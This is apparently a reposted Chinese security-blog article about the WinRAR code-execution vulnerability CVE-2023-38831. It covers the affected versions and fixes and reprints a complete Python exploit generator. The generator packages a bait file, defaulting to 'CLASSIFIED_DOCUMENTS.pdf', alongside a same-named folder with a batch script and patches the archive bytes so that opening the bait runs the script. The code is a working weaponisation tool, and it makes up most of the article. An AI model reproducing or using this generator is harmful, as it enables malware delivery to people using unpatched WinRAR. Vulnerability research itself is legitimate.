WinRAR代码执行漏洞 CVE-2023-38831

admin 2024年9月28日12:33:13评论40 views字数 1651阅读5分30秒阅读模式

WinRAR代码执行漏洞 CVE-2023-38831

漏洞描述

WinRAR 是一款适用于 Windows 系统的压缩包管理器。WinRAR 6.2.3之前版本打开压缩文件时会调用 ShellExecute 函数匹配文件名,如果目标文件名与文件类型不匹配时则会执行目标文件中的批处理文件。攻击者可利用该漏洞构造恶意的压缩文件,其中包含具有恶意 payload 的文件和同名的文件夹,通过诱导用户打开压缩文件中的带有 payload 的恶意文件远程执行任意代码。

影响版本:
WinRAR <= 6.22

漏洞复现:

WinRAR代码执行漏洞 CVE-2023-38831

WinRAR代码执行漏洞 CVE-2023-38831

WinRAR代码执行漏洞 CVE-2023-38831

利用代码:

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.rar"

BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
SCRIPT_NAME = "script.bat"

if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .cve-2023-38831-exp-gen.py poc
python .cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()

BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")

print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")

os.remove(TEMPLATE_NAME + ".zip")

with open(OUTPUT_NAME, "wb")  as f:
f.write(content)

print("ok..")

修复方案:

升级WinRAR到 6.23 或更高版本

谨慎使用 WinRAR 打开不受信任的文件

将组件 rar 升级至 6.23-1 及以上版本

原文始发于微信公众号(飓风网络安全):【漏洞复现】 WinRAR代码执行漏洞 CVE-2023-38831

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日12:33:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WinRAR代码执行漏洞 CVE-2023-38831https://cn-sec.com/archives/1986856.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息